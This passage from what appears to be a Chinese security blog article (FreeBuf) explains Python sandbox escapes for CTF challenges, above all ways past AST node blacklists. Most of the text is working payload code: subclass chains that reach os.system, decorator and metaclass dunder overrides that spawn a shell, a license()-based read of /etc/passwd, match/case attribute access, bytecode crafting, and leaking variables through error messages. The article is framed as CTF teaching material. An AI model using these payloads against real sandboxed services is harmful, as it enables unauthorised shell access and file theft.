[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

AST沙箱

Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。

  • ast.Module: 表示一个整个的模块或者脚本。

  • ast.FunctionDef: 表示一个函数定义。

  • ast.AsyncFunctionDef: 表示一个异步函数定义。

  • ast.ClassDef: 表示一个类定义。

  • ast.Return: 表示一个return语句。

  • ast.Delete: 表示一个del语句。

  • ast.Assign: 表示一个赋值语句。

  • ast.AugAssign: 表示一个增量赋值语句,如x += 1

  • ast.For: 表示一个for循环。

  • ast.While: 表示一个while循环。

  • ast.If: 表示一个if语句。

  • ast.With: 表示一个with语句。

  • ast.Raise: 表示一个raise语句。

  • ast.Try: 表示一个try/except语句。

  • ast.Import: 表示一个import语句。

  • ast.ImportFrom: 表示一个from…import…语句。

  • ast.Expr: 表示一个表达式。

  • ast.Call: 表示一个函数调用。

  • ast.Name: 表示一个变量名。

  • ast.Attribute: 表示一个属性引用,如x.y
    AST 沙箱会将用户的输入转化为操作码,一般情况下考虑绕过 AST 黑名单
    打印AST

import os
import ast 

BAD_ATS = {
  ast.Attribute,
  ast.AST,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

a = '''
[
    system:=111,
    bash:=222
]
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))


for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
  if type(x) in BAD_ATS:
    print(type(x))
    exit()

print("[+] OK")

ast.Call

装饰器

绕过

@exec
@input
class X:
    pass

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单

@help
class X:
    pass
import os

def fake_wrapper(f):
  return '/bin/sh'

@getattr(os,"system")
@fake_wrapper
def something():
  pass

自定义装饰器

import os

def fake_wrapper(f):
  return '/bin/sh'

@os.system
@fake_wrapper
def something():
  pass

函数覆盖

obj[argument]实际上是调用的 obj.__getitem__方法.因此只需要覆盖其 __getitem__方法, 即可在使用 obj[argument]执行代码

>>> class A:
...     __getitem__ = exec
... 
>>> A()['__import__("os").system("ls")']

metaclass

在 Python中,类本身也是对象,元类就是创建这些类(即类对象)的类。
类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性

在不使用构造函数的情况下触发

class Metaclass(type):
    __getitem__ = exec 

class Sub(metaclass=Metaclass):
    pass

Sub['import os; os.system("sh")']

除了 __getitem__之外其他方法的利用方式

__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') # (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
class Metaclass(type):
    __sub__ = exec

class Sub(metaclass=Metaclass):
    pass

Sub-'import os; os.system("sh")'

exceptions

如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec 

raise RCE
class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0

Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__

class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

license

读取文件

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

当调用 license()时会打印这个文件

将 help 类的 __enter__方法覆盖为 license方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的

class MyContext:
    pass

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

ast.Attribute

绕过ast.Attribute获取属性

python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等

item = 2

match item:
    case 1:
        print("One")
    case 2:
        print("Two")

# Two

item = (1, 2)

match item:
    case (x, y, z):
        print(f"{x} {y} {z}")
    case (x, y):
        print(f"{x} {y}")
    case (x,):
        print(f"{x}")

匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x

class AClass:
    def __init__(self, value):
        self.thing = value

item = AClass(32)

match item:
    case AClass(thing=x):
        print(f"Got {x = }!")

# Got x = 32!

可以绕过点号

match str():
    case str(__class__=x):
        print(x==''.__class__)

# True

''.__class__.__base__.__subclasses__()

match str():
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        print(subclazz)

ast.Assign

绕过ast.Assign赋值,可以使用海象表达式
海象表达式解析后是ast.NamedExpr

ast.Constant

限制了数字、字符串
和字符串关键词绕过一样用list+dict

ast.Subscript

限制索引
min 函数可以获取列表中最小的元素,当列表中只有一个元素时,可以直接取值

min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[])))       # _wrap_close
min(list(dict(bash=[])))              # bash

如果要获取字典元素,可以利用 get 函数

match globals:
    case object(get=get_func):
        get_func("system")

ast.For

限制循环
filter、iter、next

def filter_func(subclazzes_item):
    [ _wrap_close:=min(list(dict(_wrap_close=[])))]
    match subclazzes_item:
        case object(__name__=name):
            if name==_wrap_close:
                return subclazzes_item
[
    subclazzes_item:=min(filter(filter_func,subclazzes()))
]

Opcode

修改co_code

python3.11引入专用字节码

import dis
class OpGet:
    def __getattr__(self, op):
        return dis._all_opmap[op]
O = OpGet()

name = 'breakpoint'
cod = bytes([
    O.LOAD_GLOBAL_BUILTIN, 1,
    6, 0, # index, 0
    6, 0, # index, 0
    6, 0, # module key version, 0
    6, 0, # builtins key version, 0
    O.CALL_PY_EXACT_ARGS, 0,
    6, 0, # index, 0
    6, 0, # module key version, 0
    6, 0, # builtins key version, 0
    O.LOAD_ATTR_CLASS, 0,
])
from opcode import opmap

code = bytes([
    111, 1, # LOAD_GLOBAL_BUILTIN
    6,6,6,6,6,6,6,6, # trash
    29, 0, # CALL_BUILTIN_CLASS
    6,6,6,6,6,6, # other trash
    191,0 # unknown opcode -> error
])


print(code.hex())

输出限制

异常处理

  • KeyError(键错误): 当访问字典中不存在的键时引发的错误。(用户输入的键名被应用使用)

  • FileNotFoundError(文件未找到错误): 在尝试打开不存在的文件时引发的错误。

  • ValueError(值错误): 当函数接收到正确类型的参数,但参数值不合适时引发的错误。

KeyError

KeyError 出现在访问字典中不存在的键,利用时,可以随便构造一个字典,然后以需要读取的变量作为键名传进去。

{"1":"2"}[_]
'varxxx'

FileNotFoundError

FileNotFoundError 出现在找不到指定文件时,将需要读取的变量名传入文件操作函数就可以触发异常。例如 file(python2)、open 等。

但由于题目过滤了 e,这些函数都无法使用,如果需要测试的话可以将过滤的语句删除掉。

open(_)
[Errno 2] No such file or directory: 'varxxx'

ValueError

ValueError 比较好利用,只需要将需要读取的变量,传入一个函数,该函数的参数类型与这个要读取的变量不一致即可,例如:

int(_)
ValueError: invalid literal for int() with base 10: 'varxxx

后记

引用与参考链接:

# web安全 # python安全 # CTF # jailbreak # 沙箱逃逸
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录